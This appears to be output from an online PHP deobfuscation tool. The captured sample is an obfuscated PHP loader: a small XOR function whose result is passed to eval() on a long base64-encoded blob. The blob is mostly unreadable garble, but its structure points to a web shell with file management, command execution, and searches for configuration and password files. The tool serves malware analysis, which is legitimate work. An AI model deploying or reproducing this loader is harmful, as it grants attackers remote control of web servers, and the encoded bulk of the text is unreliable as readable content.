Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function e($g, $d){ for($p=0;$p<strlen($g);) for($t=0;$t<strlen($d);$t++, $p++) $c ...
Decoded Output download
<?php function e($g, $d){ for($p=0;$p<strlen($g);) for($t=0;$t<strlen($d);$t++, $p++) $c .= $g[$p] ^ $d[$t]; return $c; };eval(e(base64_decode("R^]^CUWW
<;UTWPD]EnDBTnP[PIECDT
<;UTWPD]EnRYPCBTEfX_U^FB  
<;PDEYnAPBBRWUU T	TWU PPRSUUU
<;UTWPD]EnPREX^_wX]TB|P_
<;XWT\AEHnbtcgtcjyeeandbtcnpvtelJ<;DBTCpVT_EBPCCPHv^^V]Tb]DCA|bs^EXPnPCRYXGTChP_UTIcP\S]TC
<;XWACTVn\PERYX\A]^UTMDBTCpVT_EBXnbtcgtcjyeeandbtcnpvtelJ<;YTPUTCyeea ^Ew^D_U
<;TIXE
<;L<;L<;<;qX_XnBTETCC^Cn]^Vd}}
<;qX_XnBTE]^VnTCC^CB
<;qX_XnBTE\PInTITRDEX^_nEX\T
<;qBTEnEX\Tn]X\XE
<;qUTWX_Tfb~ngtcbx~S^_[DC
<;<;WD_REX^_FB^}^VX_J<;UXTACTP]XV_RT_ETCW^C\\TEY^UA^BEaPBBF^CUX_ADEEHATAPBBF^CU_P\TAPBBX_ADEEHATBDS\XEGP]DTW^C\ACT
<;L<;<;WD_REX^_fb~BTER^^ZXTZGJ<;nr~~zxtjZlG
<;BTER^^ZXTZG
<;L<;<;XWT\AEHPDEYnAPBBJ<;XWXBBTEna~bejAPBBl\Una~bejAPBBlPDEYnAPBB<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belPDEYnAPBB
<;<;XWXBBTEnr~~zxtj\Unbtcgtcjyeeany~bellMMnr~~zxtj\Unbtcgtcjyeeany~bellPDEYnAPBB<;FB^}^VX_
<;L<;<;XWBECE^]^FTCBDSBECayan~bFX_<;^BFX_
<;T]BT<;^B_XI
<;<;BPWTn\^UTqX_XnVTEBPWTn\^UT
<;XWBPWTn\^UT<;TCC^CnCTA^CEX_V
<;<;UXBPS]TnWD_REX^_BqX_XnVTEUXBPS]TnWD_REX^_B
<;Y^\TnRFUqVTERFU
<;XWXBBTEna~bejRl<;qRYUXCna~bejRl
<;RFUqVTERFU
<;XW^BFX_J<;Y^\TnRFUBECnCTA]PRTmmY^\TnRFU
<;RFUBECnCTA]PRTmmRFU
<;L<;XWRFUjBEC]T_RFU l<;RFU
<;<;XWXBBTEnr~~zxtj\Unbtcgtcjyeeany~belP[PIl<;nr~~zxtj\Unbtcgtcjyeeany~belP[PIlS^^]UTWPD]EnDBTnP[PI
<;<;XW^BFX_<;P]XPBTBPCCPH<;}XBEuXCTRE^CHUXC<;wX_UX_UTIAYAX_RDCCT_EUXCUXCBFSX_UTIAYA<;wX_UR^_WXVAYAX_RDCCT_EUXCUXCBFSR^_WXVAYA<;bY^FPREXGTR^__TREX^_B_TEBEPEP_<;bY^FCD__X_VBTCGXRTB_TEBEPCE<;dBTCPRR^D_EB_TEDBTC<;bY^FR^\ADETCB_TEGXTF<;pcaePS]TPCAP<;xar^_WXVDCPEX^_XAR^_WXVP]]<;
<;T]BT<;P]XPBTBPCCPH<;}XBEUXC]B]YP<;]XBEWX]TPEECXSDETB^_P}X_DIBTR^_UTIET_UTUWX]TBHBET\]BPEECGP<;BY^F^AT_TUA^CEB_TEBEPEP_MVCTAX]XBET_<;AC^RTBBBEPEDBABPDI<;wX_U<;WX_UP]]BDXUWX]TBWX_UEHATWATC\]B<;WX_UBDXUWX]TBX_RDCCT_EUXCWX_UEHATWATC\]B<;WX_UP]]BVXUWX]TBWX_UEHATWATC\]B<;WX_UBVXUWX]TBX_RDCCT_EUXCWX_UEHATWATC\]B<;WX_UR^_WXVX_RAYAWX]TBWX_UEHATW_P\TR^_WXVX_RAYA<;WX_UR^_WXVWX]TBWX_UEHATW_P\TmR^_WXVm<;WX_UR^_WXVWX]TBX_RDCCT_EUXCWX_UEHATW_P\TmR^_WXVm<;WX_UP]]FCXEPS]TW^]UTCBP_UWX]TBWX_UATC\]B<;WX_UP]]FCXEPS]TW^]UTCBP_UWX]TBX_RDCCT_EUXCWX_UATC\]B<;WX_UP]]BTCGXRTAFUWX]TBWX_UEHATW_P\TBTCGXRTAFU<;WX_UBTCGXRTAFUWX]TBX_RDCCT_EUXCWX_UEHATW_P\TBTCGXRTAFU<;WX_UP]]YEAPBBFUWX]TBWX_UEHATW_P\TYEAPBBFU<;WX_UYEAPBBFUWX]TBX_RDCCT_EUXCWX_UEHATW_P\TYEAPBBFU<;WX_UP]]SPBYnYXBE^CHWX]TBWX_UEHATW_P\TSPBYnYXBE^CH<;WX_USPBYnYXBE^CHWX]TBX_RDCCT_EUXCWX_UEHATW_P\TSPBYnYXBE^CH<;WX_UP]]WTERY\PX]CRWX]TBWX_UEHATW_P\TWTERY\PX]CR<;WX_UWTERY\PX]CRWX]TBX_RDCCT_EUXCWX_UEHATW_P\TWTERY\PX]CR<;}^RPET<;]^RPETYEEAUR^_WWX]TB]^RPETYEEAUR^_W<;]^RPETGY^BEBR^_WWX]TB]^RPETGY^BEBR^_W<;]^RPETAC^WEAUR^_WWX]TB]^RPETAC^WEAUR^_W<;]^RPETABHS_RR^_WWX]TB]^RPETABHS_RR^_W<;]^RPET\HR^_WWX]TB]^RPET\HR^_W<;]^RPETPU\X_AYAWX]TB]^RPETPU\X_AYA<;]^RPETRWVAYAWX]TB]^RPETRWVAYA<;]^RPETR^_WAYAWX]TB]^RPETR^_WAYA<;]^RPETR^_WXVUPEWX]TB]^RPETR^_WXVUPE<;]^RPETR^_WXVAYAWX]TB]^RPETR^_WXVAYA<;]^RPETR^_WXVX_RWX]TB]^RPETR^_WXVX_R<;]^RPETR^_WXVX_RAYA]^RPETR^_WXVX_RAYA<;]^RPETR^_WXVUTWPD]EAYAWX]TB]^RPETR^_WXVUTWPD]EAYA<;]^RPETR^_WXVWX]TB]^RPETR^_WXV<;]^RPETR^_WWX]TB]^RPETR^_W<;]^RPETAFUWX]TB]^RPETAFU<;]^RPETB@]WX]TB]^RPETB@]<;]^RPETYEAPBBFUWX]TB]^RPETYEAPBBFU<;]^RPETSPBYnYXBE^CHWX]TB]^RPETSPBYnYXBE^CH<;]^RPET\HB@]nYXBE^CHWX]TB]^RPET\HB@]nYXBE^CH<;]^RPETWTERY\PX]CRWX]TB]^RPETWTERY\PX]CR<;]^RPETSPRZDAWX]TB]^RPETSPRZDA<;]^RPETUD\AWX]TB]^RPETUD\A<;]^RPETACXGWX]TB]^RPETACXG<;
<;<;WD_REX^_FB^yTPUTCJ<;XWT\AEHna~bejRYPCBTEl<;na~bejRYPCBTElv}~sp}bjUTWPD]EnRYPCBTEl
<;V]^SP]R^]^C
<;TRY^YE\]YTPU\TEPYEEAT@DXGr^_ET_EeHATR^_ET_EETIEYE\]
RYPCBTEna~bejRYPCBTElEXE]Tnbtcgtcjyeeany~belYT]]^fb~ngtcbx~EXE]T<;BEH]T<;S^UHJSPRZVC^D_UR^]^C
R^]^CT T T 
L<;S^UHEUEYJW^_EAE}DRXUPgTCUP_P
\PCVX_
GTCEXRP]P]XV_E^A
R^]^CT T T 
L<;EPS]TX_W^JR^]^CWWW
SPRZVC^D_UR^]^C
L<;BAP_Y PJR^]^CR^]^CX\A^CEP_E
L<;BAP_JW^_EFTXVYES^]UTC
L<;Y JS^CUTC]TWEAIB^]XUR^]^C
APUUX_VAIAI
W^_E AEgTCUP_P
SPRZVC^D_UR^]^C
\PCVX_AI
L<;UXGR^_ET_EJAPUUX_VAI
\PCVX_]TWEAI
SPRZVC^D_UR^]^C
L<;PJETIEUTR^CPEX^__^_T
L<;PY^GTCJETIEUTR^CPEX^_D_UTC]X_T
L<;\] JS^CUTC AIB^]XU
APUUX_VAI
\PCVX_
^GTCW]^FPDE^
L<;SXVPCTPJFXUEY 
YTXVYEAI
L<;X_ADEETIEPCTPBT]TREJ\PCVX_
R^]^CWWW
SPRZVC^D_UR^]^C
S^CUTC AIB^]XUR^]^C
W^_EAE|^_^BAPRTr^DCXTCTF
L<;W^C\J\PCVX_AI
L<;E^^]BeS]JETIEP]XV_RT_ETC
L<;E^^]Bx_AJFXUEYAIL<;\PX_EYJETIEP]XV_]TWE
SPRZVC^D_UR^]^CTTT
L<;\PX_ECY^GTCJSPRZVC^D_UR^]^CTTTL<;] JSPRZVC^D_UR^]^CL<;]JSPRZVC^D_UR^]^CL<;ACTJW^_EWP\X]Hr^DCXTC|^_^BAPRT
L<;BEH]T<;BRCXAE<;GPCRnYE\]BATRXP]RYPCBv}~sp}bjRFUl
<;GPCPnYE\]BATRXP]RYPCBqna~bejPl<;GPCRYPCBTEnYE\]BATRXP]RYPCBqna~bejRYPCBTEl
<;GPCA nBECA^Bqna~bejA lm_WP]BTYE\]BATRXP]RYPCBna~bejA lten`d~etb
<;GPCAnBECA^Bqna~bejAlm_WP]BTYE\]BATRXP]RYPCBna~bejAlten`d~etb
<;GPCAnBECA^Bqna~bejAlm_WP]BTYE\]BATRXP]RYPCBna~bejAlten`d~etb
<;GPCUU^RD\T_E
<;8WD_REX^_BTEPRA AARYPCBTEJ<;88XWP_D]]U\WPGP]DTP
T]BTU\WPGP]DTPn
<;88XWR_D]]U\WRGP]DTR
T]BTU\WRGP]DTRn
<;88XWA _D]]U\WA GP]DTA 
T]BTU\WA GP]DTA n
<;88XWA_D]]U\WAGP]DTA
T]BTU\WAGP]DTAn
<;88XWA_D]]U\WAGP]DTA
T]BTU\WAGP]DTAn
<;88XWRYPCBTE_D]]U\WRYPCBTEGP]DTRYPCBTE
T]BTU\WRYPCBTEGP]DTRYPCBTEn
<;8L<;8WD_REX^_VPRA AARYPCBTEJ<;88BTEPRA AARYPCBTE
<;88U\WBDS\XE
<;8L<;8WD_REX^_PPRA AARYPCBTEJ<;88BTEPRA AARYPCBTE
<;88GPCAPCP\BP[PIECDT
<;88W^CX
XU\WT]T\T_EB]T_VEY
X<;888APCP\BU\WT]T\T_EBjXl_P\TT_R^UTdcxr^\A^_T_EU\WT]T\T_EBjXlGP]DT
<;88BCPUUB]PBYTBnbtcgtcjct`dtbendcxlAPCP\B
<;8L<;8WD_REX^_BCDC]APCP\BJ<;88XWFX_U^Fi|}yEEAcT@DTBE<;888CT@_TFi|}yEEAcT@DTBE
<;88T]BTXWFX_U^FpREXGTi~S[TRE<;888CT@_TFpREXGTi~S[TRE|XRC^B^WEi|}yeea
<;XWCT@J<;CT@^_CTPUHBEPETRYP_VTAC^RTBBcT@rYP_VT
<;CT@^AT_a~beDC]ECDT
<;CT@BTEcT@DTBEyTPUTCr^_ET_EeHATPAA]XRPEX^_IFFFW^C\DC]T_R^UTU
<;CT@BT_UAPCP\B
<;L<;8L<;8WD_REX^_AC^RTBBcT@rYP_VTJ<;88XWCT@CTPUHbEPET<;888XWCT@BEPEDBJ<;8888GPCCTV_TFcTVtIAmmmmmUjmmmmbmmmmBlm\
<;8888GPCPCCCTVTITRCT@CTBA^_BTeTIE
<;8888TGP]PCCjlBDSBECPCCj l
<;888LT]BTP]TCEcT@DTBETCC^C
<;8L<;BRCXAE<;YTPUS^UHUXGBEH]TA^BXEX^_PSB^]DET
FXUEY 
SPRZVC^D_UR^]^C
E^A
]TWE
<;W^C\\TEY^UA^BE_P\T\WBEH]TUXBA]PH_^_T
<;X_ADEEHATYXUUT__P\TP<;X_ADEEHATYXUUT__P\TR<;X_ADEEHATYXUUT__P\TA <;X_ADEEHATYXUUT__P\TA<;X_ADEEHATYXUUT__P\TA<;X_ADEEHATYXUUT__P\TRYPCBTE<;W^C\
<;WCTTbAPRTqUXBZWCTTBAPRTv}~sp}bjRFUl
<;E^EP]bAPRTqUXBZnE^EP]nBAPRTv}~sp}bjRFUl
<;E^EP]bAPRTE^EP]bAPRTE^EP]bAPRT 
<;CT]TPBTqAYAnD_P\TC
<;ZTC_T]qAYAnD_P\TB
<;TIA]X_ZYEEATIA]^XEUSR^\BTPCRYPREX^_BTPCRYWX]ETCnUTBRCXAEX^_
<;XWBECA^B}X_DIZTC_T]WP]BT<;TIA]X_ZDC]T_R^UT}X_DIzTC_T]BDSBECCT]TPBT
<;T]BT<;TIA]X_ZDC]T_R^UTZTC_T]BDSBECCT]TPBT
<;XWWD_REX^_nTIXBEBA^BXInVTETVXUJ<;DBTCqVTEnRDCCT_EnDBTC
<;DXUqVTE\HDXU
<;VXUqVTE\HVXU
<;VC^DA
<;LT]BTJ<;DXUqA^BXInVTEAFDXUA^BXInVTETDXU
<;VXUqA^BXInVTEVCVXUA^BXInVTETVXU
<;DBTCDXUj_P\Tl
<;DXUDXUjDXUl
<;VC^DAVXUj_P\Tl
<;VXUVXUjVXUl
<;L<;<;RFUn]X_ZB
<;APEYTIA]^UTv}~sp}bjRFUl
<;_R^D_EAPEY
<;W^CX
X_ 
XJ<;RFUn]X_ZBPYCTW^_R]XRZVmwX]TB|P_mm
<;W^C[
[X
[<;RFUn]X_ZBAPEYj[l
<;RFUn]X_ZBmAPEYjXlP
<;L<;<;RYPCBTEBPCCPHdew	fX_U^FB  z~x	cz~x	dRA	
<;^AEnRYPCBTEB
<;W^CTPRYRYPCBTEBPBXET\<;^AEnRYPCBTEB^AEX^_GP]DTXET\na~bejRYPCBTElXET\BT]TRETUXET\^AEX^_
<;<;\PCCPHbTRx_W^bTRx_W^wX]TBwX]TB|P_r^_B^]Tr^_B^]Tb@]b@]aYAaYAbECX_VE^^]BbECX_Ve^^]BsCDETW^CRTsCDETW^CRTTEF^CZTEF^CZ
<;XWT\AEHv}~sp}bjPDEYnAPBBl<;\j}^V^DEl}^V^DE
<;\jbT]WCT\^GTlbT]WcT\^GT
<;\T_D
<;W^CTPRY\PBZG<;\T_DEYFXUEYX_E R^D_E\jPYCTW^_R]XRZVmGm_D]]mmmmmmZPlEY
<;<;UCXGTB
<;XWv}~sp}bj^BlFX_J<;W^CTPRYCP_VTRKPBUCXGT<;XWXBnUXCUCXGTmm<;UCXGTBPYCTW^_R]XRZVmwX]TB|P_mmUCXGTmjUCXGTlP
<;L<;TRY^EPS]TR]PBBX_W^RT]]APUUX_VRT]]BAPRX_VFXUEY ECEUFXUEY BAP_d_P\TSCdBTCSCaYASCyUUSCrFUv}~sp}bj^BlFX_SCuCXGTBBAP_EU<;EU_^SCBDSBECqAYAnD_P\T PYCTWTIA]X_ZEPCVTEnS]P_ZjTIA]^XEUSR^\lP_^SCSCDXUDBTCBAP_vC^DABAP_VXUVC^DASCqAYAGTCBX^_BAP_bPWT\^UTBAP_v}~sp}bjBPWTn\^UTlW^_ER^]^CCTU~W^_EW^_ER^]^CVCTT_S~wwSW^_E<;PYCTW^_R]XRZVmaYAm_D]]mmmX_W^mjAYAX_W^lPBAP_uPETEX\TBAP_UPETh\UyXBSCFB^gXTFbXKTE^EP]bAPRTBAP_wCTTBAP_FB^gXTFbXKTWCTTbAPRTX_EWCTTbAPRTE^EP]bAPRT SCRFUn]X_ZBFB^aTC\Br^]^Cv}~sp}bjRFUlPYCTW^_R]XRZVmwX]TB|P_mmv}~sp}bjY^\TnRFUlmmmmmmmjY^\TlPSCUCXGTBEU<;EUFXUEY P]XV_CXVYE_^SCBT]TRE^_RYP_VTV_D]]_D]]_D]]_D]]_D]]EYXBGP]DT^AEVC^DA]PST]aPVTRYPCBTE^AEnRYPCBTEB^AEVC^DABT]TRESCBAP_bTCGTCxaBAP_SCqnbtcgtcjbtcgtcnpuuclSCBAP_r]XT_ExaBAP_SCnbtcgtcjct|~etnpuucl_^SCEUECEPS]T<;EPS]TBEH]TS^CUTCE^AAIB^]XU
RT]]APUUX_VRT]]BAPRX_VFXUEY EC\T_DECEPS]TUXGBEH]T\PCVX_
<;L<;<;WD_REX^_FB^w^^ETCJ<;XBnFCXEPS]TXBnFCXEPS]Tv}~sp}bjRFUlW^_ER^]^CVCTT_fCXETPS]TW^_EW^_ER^]^CCTU^EFCXEPS]TW^_E
<;TRY^<;UXG<;EPS]TR]PBBX_W^XUE^^]BeS]RT]]APUUX_VRT]]BAPRX_VFXUEY BEH]TS^CUTCE^AAIB^]XU
S^CUTCS^EE^\AIB^]XU
<;8EC<;88EUW^C\^_BDS\XEV_D]]EYXBRGP]DTmm
CTEDC_WP]BT
BAP_rYP_VTUXCBAP_SCX_ADER]PBBE^^]Bx_AEHATETIE_P\TRGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUlX_ADEEHATBDS\XEGP]DTW^C\EU<;88EUW^C\^_BDS\XEmVwX]TBe^^]B_D]]EYXBWGP]DT
CTEDC_WP]BT
mBAP_cTPUWX]TBAP_SCX_ADER]PBBE^^]Bx_AEHATETIE_P\TWX_ADEEHATBDS\XEGP]DTW^C\EU<;8ECEC<;88EUW^C\^_BDS\XEmVwX]TB|P__D]]\ZUXCEYXBUGP]DT
CTEDC_WP]BT
mBAP_|PZTUXCBAP_XBnFCXEPS]TSCX_ADER]PBBE^^]Bx_AEHATETIE_P\TUX_ADEEHATBDS\XEGP]DTW^C\EU<;88EUW^C\^_BDS\XEmVwX]TBe^^]B_D]]EYXBWGP]DT\ZWX]T
CTEDC_WP]BT
mBAP_|PZTWX]TBAP_XBnFCXEPS]TSCX_ADER]PBBE^^]Bx_AEHATETIE_P\TWX_ADEEHATBDS\XEGP]DTW^C\EU<;8ECEC<;88EUW^C\^_BDS\XEmVr^_B^]T_D]]EYXBRGP]DT
CTEDC_WP]BT
mBAP_tITRDETBAP_SCX_ADER]PBBE^^]Bx_AEHATETIE_P\TRGP]DTX_ADEEHATBDS\XEGP]DTW^C\EU<;88EUW^C\\TEY^UA^BEtrehat\D]EXAPCEW^C\UPEP<;88X_ADEEHATYXUUT__P\TPGP]DTwX]TB|p_<;88X_ADEEHATYXUUT__P\TRGP]DTv}~sp}bjRFUl<;88X_ADEEHATYXUUT__P\TA GP]DTDA]^PUwX]T<;88X_ADEEHATYXUUT__P\TRYPCBTEGP]DTXBBTEna~bejRYPCBTElna~bejRYPCBTEl<;88BAP_dA]^PUWX]TBAP_XBnFCXEPS]TSCX_ADER]PBBE^^]Bx_AEHATWX]T_P\TWX_ADEEHATBDS\XEGP]DTW^C\SCEU<;8ECEPS]TUXGS^UHYE\]
<;L<;<;XWWD_REX^_nTIXBEBA^BXInVTEAFDXUBECA^Bv}~sp}bjUXBPS]TnWD_REX^_BlA^BXInVTEAFDXUWP]BTJ<;WD_REX^_A^BXInVTEAFDXUAJCTEDC_WP]BT
LL<;XWWD_REX^_nTIXBEBA^BXInVTEVCVXUBECA^Bv}~sp}bjUXBPS]TnWD_REX^_BlA^BXInVTEVCVXUWP]BTJ<;WD_REX^_A^BXInVTEVCVXUAJCTEDC_WP]BT
LL<;<;WD_REX^_FB^tIX_J<;^DE
<;XWWD_REX^_nTIXBEBTITRJ<;qTITRX_^DE
<;^DEq[^X_m_^DE
<;LT]BTXWWD_REX^_nTIXBEBAPBBEYCDJ<;^SnBEPCE
<;qAPBBEYCDX_
<;^DE^SnVTEnR]TP_
<;LT]BTXWWD_REX^_nTIXBEBBHBET\J<;^SnBEPCE
<;qBHBET\X_
<;^DE^SnVTEnR]TP_
<;LT]BTXWWD_REX^_nTIXBEBBYT]]nTITRJ<;^DEBYT]]nTITRX_
<;LT]BTXWXBnCTB^DCRTWqA^AT_X_CJ<;^DE
<;FYX]TqWT^WW<;^DEWCTPUW 
<;AR]^BTW
<;L<;CTEDC_^DE
<;L<;<;WD_REX^_FB^gXTFbXKTBJ<;XWXBnX_EB<;BBACX_EWDB
<;<;XWB  	<;CTEDC_BACX_EW WB  	vs
<;T]BTXWB 	<;CTEDC_BACX_EW WB 	|s
<;T]BTXWB <;CTEDC_BACX_EW WB zs
<;T]BT<;CTEDC_Bs
<;L<;<;WD_REX^_FB^aTC\BAJ<;XWAIrIrXB
<;T]BTXWAIpIpX]
<;T]BTXWAI	I	X
<;T]BTXWAIIXS
<;T]BTXWAIIXU
<;T]BTXWAIIXR
<;T]BTXWAI I XA
<;T]BTXD
<;XAI C
<;XAI	F
<;XAIAI	BIAI	b
<;XAIC
<;XAI F
<;XAI	AIBIAIb
<;XAIC
<;XAIF
<;XAI AIEIAIe
<;CTEDC_X
<;L<;<;WD_REX^_FB^aTC\Br^]^CWJ<;XWqXBnCTPUPS]TW<;CTEDC_W^_ER^]^CwwFB^aTC\BqWX]TATC\BWW^_E
<;T]BTXWqXBnFCXEPS]TW<;CTEDC_W^_ER^]^CFYXETFB^aTC\BqWX]TATC\BWW^_E
<;T]BT<;CTEDC_W^_ER^]^CWWFB^aTC\BqWX]TATC\BWW^_E
<;L<;<;WD_REX^_FB^bRP_UXCUXCJ<;XWWD_REX^_nTIXBEBBRP_UXCJ<;CTEDC_BRP_UXCUXC
<;LT]BTJ<;UY^AT_UXCUXC
<;FYX]TWP]BTWX]T_P\TCTPUUXCUY<;WX]TBjlWX]T_P\T
<;CTEDC_WX]TB
<;L<;L<;<;WD_REX^_FB^fYXRYAJ<;APEYFB^tIFYXRYA
<;XWT\AEHAPEY<;CTEDC_APEY
<;CTEDC_WP]BT
<;L<;<;WD_REX^_PREX^_bTRx_W^J<;FB^yTPUTC
<;TRY^Y bTCGTCBTRDCXEHX_W^C\PEX^_Y UXGR]PBBR^_ET_E
<;WD_REX^_FB^bTRaPCP\_GJ<;GECX\G
<;XWGJ<;TRY^BAP__BAP_
<;XWBECA^BGm_WP]BT<;TRY^GSC
<;T]BT<;TRY^ACTR]PBB\] GACT
<;L<;L<;<;FB^bTRaPCP\bTCGTCB^WEFPCTqVTET_Gbtcgtcnb~wefpct
<;XWWD_REX^_nTIXBEBPAPRYTnVTEn\^UD]TB<;FB^bTRaPCP\}^PUTUpAPRYT\^UD]TBX\A]^UTPAPRYTnVTEn\^UD]TB
<;FB^bTRaPCP\uXBPS]TUayawD_REX^_Bv}~sp}bjUXBPS]TnWD_REX^_Blv}~sp}bjUXBPS]TnWD_REX^_Bl_^_T
<;FB^bTRaPCP\~AT_SPBTUXCqX_XnVTE^AT_nSPBTUXC
<;FB^bTRaPCP\bPWT\^UTTITRUXCqX_XnVTEBPWTn\^UTnTITRnUXC
<;FB^bTRaPCP\bPWT\^UTX_R]DUTUXCqX_XnVTEBPWTn\^UTnX_R]DUTnUXC
<;FB^bTRaPCP\Rdc}BDAA^CEWD_REX^_nTIXBEBRDC]nGTCBX^_T_PS]TU_^
<;ET\APCCPH
<;XWWD_REX^_nTIXBEB\HB@]nVTEnR]XT_EnX_W^<;ET\Ajl|Hb@]\HB@]nVTEnR]XT_EnX_W^
<;XWWD_REX^_nTIXBEB\BB@]nR^__TRE<;ET\Ajl|bb`}
<;XWWD_REX^_nTIXBEBAVnR^__TRE<;ET\Ajla^BEVCTb`}
<;XWWD_REX^_nTIXBEB^RXnR^__TRE<;ET\Ajl~CPR]T
<;FB^bTRaPCP\bDAA^CETUUPEPSPBTBX\A]^UTET\A
<;TRY^SC
<;<;XWv}~sp}bj^Bl_XIJ<;FB^bTRaPCP\cTPUPS]TTERAPBBFUqXBnCTPUPS]TTERAPBBFUHTBPYCTW^_R]XRZVmwX]TBe^^]BmmTERmmAPBBFUmjGXTFlP_^
<;FB^bTRaPCP\cTPUPS]TTERBYPU^FqXBnCTPUPS]TTERBYPU^FHTBPYCTW^_R]XRZVmwX]TBe^^]BmmTERmmBYPU^FmjGXTFlP_^
<;FB^bTRaPCP\~bGTCBX^_qWX]TnVTEnR^_ET_EBAC^RGTCBX^_
<;FB^bTRaPCP\uXBEC_P\TqWX]TnVTEnR^_ET_EBTERXBBDT_TE
<;XWv}~sp}bjBPWTn\^UTlJ<;DBTCWD]PCCPHVRR]RRRR]U\PZTAYAATC]AHEY^_CDSHEPCVKXASKXASKXA_R]^RPETBDXUATC]
<;UP_VTCPCCPHZPG_^USUR^CTUDGBRP_BPGUCFTSUR]P\UCZYD_ETCRYZC^^EZXEXAEPS]TBXAWFECXAFXCTBYXT]URRA^CEBT_ECHB_^CE^BBTR]XUBPU\ERA]^UVBIXU]^VRYTRZ]^VFPERYBHB\PBZK\SBRPABPF\X]]F^C\BRP__X_[P
<;U^F_]^PUTCBPCCPHFVTEWTERY]H_I]X_ZBRDC]VTE]FA\XCC^C
<;TRY^SC
<;ET\APCCPH
<;W^CTPRYDBTCWD]PBXET\<;XWFB^fYXRYXET\<;ET\AjlXET\
<;FB^bTRaPCP\dBTCWD]X\A]^UTET\A
<;ET\APCCPH
<;W^CTPRYUP_VTCPBXET\<;XWFB^fYXRYXET\<;ET\AjlXET\
<;FB^bTRaPCP\uP_VTCX\A]^UTET\A
<;ET\APCCPH
<;W^CTPRYU^F_]^PUTCBPBXET\<;XWFB^fYXRYXET\<;ET\AjlXET\
<;FB^bTRaPCP\u^F_]^PUTCBX\A]^UTET\A
<;TRY^SC
<;FB^bTRaPCP\yuuBAPRTFB^tIUWY
<;FB^bTRaPCP\y^BEBqWX]TnVTEnR^_ET_EBTERY^BEB
<;TRY^SCBAP_A^BXInVTEAFDXUcTPUTERAPBBFUBAP_EPS]TW^C\^_BDS\XEmV_D]]_D]]EYXBAPCP\ GP]DTEYXBAPCP\GP]DT
CTEDC_WP]BT
mECEUwC^\EUEUX_ADEEHATETIE_P\TAPCP\ GP]DTEUECECEUe^EUEUX_ADEEHATETIE_P\TAPCP\GP]DT EUECEPS]TX_ADEEHATBDS\XEGP]DTW^C\
<;XWXBBTEna~bejAlna~bejAlXBn_D\TCXRna~bejAlXBn_D\TCXRna~bejAlJ<;ET\A
<;W^C
na~bejAlna~bejAl
na~bejAlJ<;DXUqA^BXInVTEAFDXUna~bejAl
<;XWDXU<;ET\A[^X_DXUm_
<;L<;TRY^SC
<;FB^bTRaPCP\dBTCBET\A
<;L<;L<;LT]BTJ<;FB^bTRaPCP\~bgTCBX^_FB^tIGTC
<;FB^bTRaPCP\pRR^D_EbTEEX_VBFB^tI_TEPRR^D_EB
<;FB^bTRaPCP\dBTCpRR^D_EBFB^tI_TEDBTC
<;L<;TRY^UXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_aYAJ<;XWXBBTEna~bejP[PIlJ<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PIECDT
<;^SnBEPCE
<;TGP]na~bejA l
<;ET\AU^RD\T_EVTEt]T\T_EsHxUaYA~DEADEBEH]TUXBA]PH
U^RD\T_EVTEt]T\T_EsHxUaYA~DEADEX__TCye|}PUURB]PBYTBYE\]BATRXP]RYPCB^SnVTEnR]TP_m_mCmEmmm
m_
<;TRY^BEC]T_ET\Am_ET\A
<;TIXE
<;L<;XWT\AEHna~bejP[PIlT\AEHna~bejA l<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PI
<;<;FB^yTPUTC
<;XWXBBTEna~bejAlna~bejAlX_W^J<;TRY^Y ayaX_W^Y UXGR]PBBR^_ET_EBEH]TAJR^]^C
LBEH]T
<;^SnBEPCE
<;AYAX_W^
<;E\A^SnVTEnR]TP_
<;E\AACTVnCTA]PRTPCCPH<;S^UHMPmFMS^UHEUEYY YJL\BXd<;EUEYJL\BXd<;X\Vjol\BXd<;PCCPH<;<;TGYYEYJ L<;<;E\A
<;TRY^BECnCTA]PRTY YE\AUXGSC
<;L<;TRY^Y tITRDEX^_ayaR^UTY UXGR]PBBR^_ET_EW^C\_P\TAW\TEY^UA^BE^_BDS\XEXWEYXBP[PIRYTRZTUJPmaYAm_D]]EYXBR^UTGP]DT
LT]BTJVmaYAm_D]]EYXBR^UTGP]DTmm
LCTEDC_WP]BT
ETIEPCTP_P\TR^UTR]PBBSXVPCTPXUaYAr^UTT\AEHna~bejA lYE\]BATRXP]RYPCBna~bejA lETIEPCTPX_ADEEHATBDS\XEGP]DTtGP]BEH]T\PCVX_E^AAI
<;TRY^X_ADEEHATRYTRZS^I_P\TP[PIGP]DT nr~~zxtj\Unbtcgtcjyeeany~belP[PIlRYTRZTUBT_UDBX_Vp{piW^C\ACTXUaYA~DEADEBEH]TT\AEHna~bejA lUXBA]PH_^_T
\PCVX_E^AAI
R]PBB\] 
<;XWT\AEHna~bejA lJ<;^SnBEPCE
<;TGP]na~bejA l
<;TRY^YE\]BATRXP]RYPCB^SnVTEnR]TP_
<;L<;TRY^ACTUXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_wX]TB|P_J<;<;XWT\AEHnr~~zxtjWl<;nr~~zxtjWlqD_BTCXP]XKTnr~~zxtjWl
<;<;XWT\AEHna~bejA lJ<;BFXERYna~bejA lJ<;RPBTDA]^PUwX]T<;XWq\^GTnDA]^PUTUnWX]Tnwx}tbjWljE\An_P\Tlnwx}tbjWlj_P\Tl<;TRY^rP_EDA]^PUWX]T
<;SCTPZ
<;RPBT\ZUXC<;XWq\ZUXCna~bejAl<;TRY^rP_ERCTPET_TFUXC
<;SCTPZ
<;RPBTUT]TET<;WD_REX^_UT]TETuXCAPEYJ<;APEYBDSBECAPEY APEYAPEY
<;UY^AT_UXCAPEY
<;FYX]TXET\CTPUUXCUYWP]BTJ<;XET\APEYXET\
<;XWSPBT_P\TXET\MMSPBT_P\TXET\<;R^_EX_DT
<;EHATWX]TEHATXET\
<;XWEHATUXC<;UT]TETuXCXET\
<;T]BT<;qD_]X_ZXET\
<;L<;R]^BTUXCUY
<;qC\UXCAPEY
<;L<;XWXBnPCCPHqna~bejWl<;W^CTPRYna~bejWlPBWJ<;XWW<;R^_EX_DT
<;WDC]UTR^UTW
<;XWXBnUXCW<;UT]TETuXCW
<;T]BT<;qD_]X_ZW
<;L<;SCTPZ
<;RPBTAPBET<;XWnr~~zxtjPRElR^AHJ<;WD_REX^_R^AHnAPBETRBUJ<;XWXBnUXCRBJ<;\ZUXCUB
